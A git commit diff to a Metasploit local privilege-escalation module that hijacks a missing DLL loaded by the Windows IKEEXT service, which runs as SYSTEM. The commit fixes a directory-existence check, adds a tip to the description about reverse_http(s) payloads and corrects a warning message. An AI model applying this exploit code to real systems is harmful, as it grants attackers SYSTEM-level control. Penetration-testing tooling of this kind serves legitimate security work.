Fix dir creation

bug/bundler_fix
Meatballs 2013-04-27 21:39:29 +01:00
parent 8bfaa41723
commit 05426cb61b
1 changed files with 5 additions and 4 deletions

View File

@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Local
'Description' => %q{
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring
Modules' service which runs as SYSTEM, and starts automatically in default
installations of Vista-Win8.
installations of Vista-Win8. Use reverse_http(s) for greater reliability
when attempting to reboot system.
},
'References' =>
[
@ -181,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Local
@non_existant_dirs.each do |dir|
begin
client.fs.dir.mkdir(dir)
if exist?(path)
if exist?(dir)
return dir
end
rescue Rex::Post::Meterpreter::RequestError => e
@ -226,7 +227,7 @@ class Metasploit3 < Msf::Exploit::Local
end
if is_uac_enabled?
print_warning("UAC is enabled results, may get false negatives on writeable folders.")
print_warning("UAC is enabled, may get false negatives on writeable folders.")
end
if datastore['DIR'].empty?